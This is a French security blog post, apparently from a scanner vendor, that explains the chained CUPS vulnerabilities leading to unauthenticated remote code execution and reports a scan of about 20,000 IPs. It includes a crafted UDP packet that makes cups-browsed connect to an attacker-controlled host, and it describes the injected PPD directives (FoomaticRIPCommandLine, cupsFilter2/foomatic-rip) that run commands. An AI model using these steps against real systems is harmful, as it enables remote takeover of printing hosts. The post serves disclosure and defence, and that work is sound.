Neutron, notre moteur d’IA, a obtenu un score de 96,75 % sur le benchmark CyberGym de l’UC Berkeley. En savoir plus

Sécurité

Sécurité

Évaluer l'exposition à grande échelle des vulnérabilités de CUPS : des CVE chaînées menant à l'exécution de code à distance

Cet article évalue l'exposition à grande échelle des systèmes à plusieurs CVE affectant le service d'impression CUPS, qui peuvent être chaînées pour obtenir une exécution de code à distance (RCE) sans authentification. Nous expliquons comment ces vulnérabilités, dont la CVE-2024-47176, fonctionnent de concert, en détaillant le déroulement de l'exploit. Nous analysons aussi le nombre de systèmes potentiellement vulnérables et signalons un comportement singulier observé pendant les tests.

Introduction

Le Common UNIX Printing System (CUPS) est un système d'impression très répandu qui permet aux ordinateurs en réseau de gérer sans difficulté les travaux d'impression et les imprimantes. Récemment, le chercheur Simone Margaritelli a mené une recherche remarquable dans laquelle il a découvert plusieurs CVE qu'il a enchaînées avec succès pour obtenir une exécution de code à distance (RCE) sans authentification sur les systèmes cibles. Vous pouvez en lire davantage sur cette recherche dans l'article de Simone Margaritelli.

Dans cet article, nous décomposons le déroulement de l'exploit et analysons le pourcentage de systèmes vulnérables dans un échantillon de cibles donné.

Détails techniques

Obtenir une RCE dans CUPS :

Cette section présente les différentes étapes pour obtenir une exécution de code à distance (RCE) et explique le rôle de chaque CVE.

  1. CVE-2024-47176 : point de départ : cups-browsed et le BrowseSocket :

    L'attaque commence par le service cups-browsed, chargé de découvrir les imprimantes sur le réseau et de les ajouter automatiquement au système .

    Le service crée un socket, appelé BrowseSocket, qui écoute les paquets entrants contenant des informations sur les imprimantes sur INADDR_ANY:631 UDP .

    browsesocket

    L'étape suivante consiste à identifier où le BrowseSocket est utilisé. À l'examen, la fonction process_browse_data apparaît comme l'endroit clé.

    process_browse_data() est chargée de lire un paquet depuis le BrowseSocket. Elle attend que les données entrantes respectent un format précis : HEX_NUMBER HEX_NUMBER TEXT_DATA Après avoir reçu le paquet, la fonction vérifie si l'adresse IP source est autorisée à envoyer des données. Cette vérification est réalisée par la fonction allowed(), qui compare l'adresse IP au fichier de configuration situé dans /etc/cups/cups-browsed.conf. Ce fichier définit quels hôtes sont autorisés à se connecter et à envoyer des données.

    allowed.png

    Or, il se trouve que, même si l'on peut configurer qui peut ou ne peut pas se connecter en modifiant le fichier de configuration /etc/cups/cups-browsed.conf, la configuration par défaut de la plupart des systèmes est entièrement mise en commentaire. Cela signifie que, sauf si l'administrateur restreint explicitement l'accès, le système accepte les connexions de n'importe quelle adresse IP. Par conséquent, la vérification allowed() réussit toujours, ce qui rend le système vulnérable à une exploitation potentielle depuis n'importe quelle source.

    Une fois la vérification de l'IP source réussie, le paquet est analysé et deux champs sont transmis à la fonction found_cups_printer() pour un traitement ultérieur.

  2. CVE-2024-47076 : injection d'URI malveillante et exploitation :

    L'un des deux champs extraits du paquet est l'URI de l'imprimante.

    found_cups_printer.png

    Suivi de l'utilisation de ce paramètre et de son passage d'une fonction à l'autre :

    À partir de found_cups_printer, l'URI est transmise à la fonction examine_discovered_printer_record(), qui la transmet à create_remote_printer_entry(). Cette séquence d'appels de fonctions aboutit finalement à cfGetPrinterAttributes() de la bibliothèque libcupsfilters.

    cfGETPrinterAttributes.png

    La fonction cfGetPrinterAttributes() est chargée d'effectuer une requête HTTP vers l'URI d'imprimante fournie afin de récupérer les détails de l'imprimante.

    httpconnect.png

    À ce stade, un acteur malveillant peut envoyer au port 631 un paquet UDP spécialement forgé contenant une URI malveillante, par exemple :

    0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever

    Ce paquet contourne la validation faible et amène cups-browsed à se reconnecter à l'URL contrôlée par l'attaquant.

    interactsh.png

  3. CVE-2024-47175 : attributs IPP malveillants de l'attaquant et création du fichier PPD :

    Une fois que le serveur de l'attaquant envoie une réponse contenant des attributs IPP forgés, conçus pour imiter les capacités d'une imprimante légitime, cups-browsed traite ces attributs. Il le fait en invoquant la fonction create_queue(), qui appelle à son tour l'API ppdCreatePPDFromIPP2() de la bibliothèque libppd. Cette API est chargée de créer un fichier PPD (PostScript Printer Description) temporaire, dans lequel sont stockés les attributs reçus.

    Un fichier PostScript Printer Description est un fichier texte fourni par les fabricants d'imprimantes, qui décrit l'ensemble des fonctionnalités et des capacités disponibles pour une imprimante PostScript donnée. Ces fichiers remplissent plusieurs fonctions :

    • Ils définissent comment invoquer les fonctionnalités pour les travaux d'impression, notamment les résolutions, les formats de papier et les fonctions spéciales prises en charge par l'imprimante (par exemple l'impression recto verso).
    • Le PPD joue le rôle de pilote pour les imprimantes PostScript en offrant au système CUPS un moyen standardisé d'interagir avec différentes imprimantes, quel que soit le fabricant.
    • Le PPD contient aussi le code PostScript (les commandes) utilisé pour invoquer les fonctionnalités d'un travail d'impression.

    PPD.png

    ppdCreatePPDFromIPP.png

    La fonction ppdCreatePPDFromIPP2() écrit directement dans le fichier PPD les attributs IPP contrôlés par l'attaquant, sans aucun assainissement.

    write_to_file.png

  4. CVE-2024-47177 : exploitation des filtres CUPS :

    Maintenant que nous pouvons définir des attributs enregistrés dans le fichier PPD, nous pouvons ordonner à CUPS d'exécuter certaines commandes lors du traitement des travaux d'impression.

    CUPS prend en charge diverses instructions via ces attributs, dont une exploitable : cupsFilter2.

    Un filtre est un exécutable situé dans le répertoire /usr/lib/cups/filter. CUPS limite l'exécution des filtres à ce répertoire, ce qui signifie qu'on ne peut pas indiquer n'importe quel binaire. Ces filtres sont exécutés lorsqu'un travail d'impression est envoyé à l'imprimante, généralement pour convertir le document si l'imprimante ne prend pas en charge nativement son format.

    Compte tenu de cette contrainte sur les binaires exécutables, l'objectif est d'exploiter l'un des filtres existants pour exécuter des commandes arbitraires.

    Exploitation du filtre foomatic-rip :

    Heureusement pour les attaquants, un filtre, foomatic-rip, était encore vulnérable à une ancienne faille d'exécution de commandes, CVE-2011-2964 et CVE-2011-2697. Ce filtre acceptait la directive FoomaticRIPCommandLine dans le fichier PPD, ce qui permettait d'exécuter N'IMPORTE QUELLE commande par ce biais.

    En exploitant cette vulnérabilité, un attaquant peut injecter la directive FoomaticRIPCommandLine dans le fichier PPD, ce qui conduit CUPS à exécuter des commandes arbitraires pendant le traitement du travail d'impression.

    Pour mener l'attaque, les étapes suivantes sont nécessaires :

    • Forcer la machine cible à se connecter à un serveur IPP malveillant : la première étape consiste à amener la machine cible à communiquer avec un serveur IPP malveillant que vous contrôlez.
    • Renvoyer une chaîne d'attributs IPP malveillante :
      • Injecter un attribut printer-privacy-policy-uri avec une fausse URL de politique comme "https://www.example.com/", suivie d'un saut de ligne pour terminer la chaîne.
      • Ajouter une directive FoomaticRIPCommandLine: "COMMAND" pour exécuter une commande sur la machine cible.
      • Inclure une directive cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip", qui garantit que, lorsqu'un travail d'impression est envoyé, il déclenche l'exécution du filtre foomatic-rip avec la commande injectée.
    • Déclencher l'exécution : une fois qu'un travail d'impression est envoyé à l'imprimante malveillante, les directives PPD injectées sont exécutées, ce qui achève l'attaque.

Évaluation à grande échelle de la vulnérabilité de CUPS : détection et analyse :

Avant de mener notre évaluation à grande échelle, nous avons d'abord cherché à identifier le service CUPS par son empreinte via son port UDP, plus précisément celui ouvert par BrowseSocket. Ce socket écoute sur INADDR_ANY:631 UDP, et nous pensions qu'il nous permettrait d'identifier les systèmes exécutant CUPS en envoyant des requêtes à ce port. Cependant, pendant les tests, que ce soit manuellement ou avec des outils comme Nmap, nous n'avons obtenu aucune réponse du serveur CUPS.

Pour comprendre pourquoi nous ne recevions aucune réponse, nous avons examiné le code source de CUPS, en nous concentrant sur les fonctions qui renvoient des données aux clients. Au cours de cette recherche, nous avons identifié la fonction sendto, qui sert à envoyer les réponses. Nous avons recherché la fonction sendto, qui est chargée d'envoyer les réponses.

sendto.png
Et elle est utilisée dans la fonction broadcast_browse_packets, appelée par send_browse_data.
send_browse_data.png
Cependant, nous avons constaté que send_browse_data est appelée dans la fonction principale mais seulement si une condition précise est remplie : if (BrowseLocalProtocols & BROWSE_CUPS).
if_statement.png
En vérifiant la valeur par défaut de BrowseLocalProtocols, nous avons constaté qu'elle était définie sur none, ce qui signifie que la condition n'est jamais satisfaite. Cela explique pourquoi aucune réponse n'a été envoyée à nos tentatives d'identification par UDP.
browselocalprotocols.png
L'identification par UDP étant écartée, nous nous sommes concentrés sur l'identification par TCP sur le port 631, utilisé par l'Internet Printing Protocol (IPP). Nous avons scanné un échantillon d'adresses IP et utilisé le PoC pour vérifier la vulnérabilité. Sur les 19 968 IP testées, 45 avaient IPP ouvert sur TCP/631. Après exécution du PoC, nous avons constaté que 42 de ces systèmes étaient vulnérables. Cela signifie qu'environ 0,23 % des IP testées exécutaient CUPS, et que 93,33 % d'entre elles étaient exposées à un risque du fait de la vulnérabilité.

nuclei_template.png

Tester la vulnérabilité avec OXO

Si vous craignez que votre instance soit vulnérable, suivez ces étapes pour exécuter un test avec l'outil OXO :

Installez OXO via pip :

pip install -U ostorlab

Installez l'agent asteroid depuis l'agent store d'OXO :

oxo agent install agent/ostorlab/asteroid

Lancez le scan avec l'agent asteroid à l'aide de la commande suivante :

oxo scan run --agent agent/ostorlab/asteroid link --url <target-URL> --method GET